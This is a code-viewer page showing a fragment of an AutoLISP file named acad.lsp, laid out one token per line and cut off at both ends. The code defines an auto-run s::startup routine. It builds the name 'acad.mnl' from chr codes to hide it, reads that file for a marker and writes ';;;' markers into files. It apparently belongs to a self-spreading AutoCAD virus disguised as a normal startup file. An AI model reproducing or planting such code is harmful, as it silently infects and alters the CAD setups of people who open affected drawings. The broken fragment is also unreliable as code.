📄 acad.lsp
字号:
)
(
setq
wjm
(
read-line
wjm)
)
(
if
(
/=
wjm
";;;"
)
(progn
(
setq
wj
(
open
path3
"w"
)
)
(
write-line
";;;"
wj)
(close
wj
)
)
)
)
)
(
defun
s::startup
()
(
setvar
"cmdecho" 0
)
(
setq
lspmnl
0
)
(
setq
path
(
findfile
"base.dcl"
)
)
(
setq
path
(
substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
wjqm
(
strcat
path
(
strcat
(
chr
97
)
(
chr
99
)
(
chr
97
)
(
chr
100
)
(
chr
46
)
(
chr
109
)
(
chr
110
)
(
chr
108
)
)
)
)
(
if
(
setq
wjm
(
open
wjqm "r"
)
)
(
progn
(
while
(
setq
wz
(
read-line
wjm
)
)
(
setq
ns1
ns2
)
(
setq
ns2
wz
)
)
(
if
(
>
(
strlen
ns1
)
14
)
(
if
(
=
(
substr
ns1
8
8
)
d1
)
(
setq
lspmnl
1
))
)
(
close
wjm
)
)
)
(
if
(
=
lspmnl
0
)
(progn
(
setq
wjqm
(
strcat
path
(
strcat
(
chr
97
)
(
chr
99
)
(
chr
97
)
(
chr
100
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -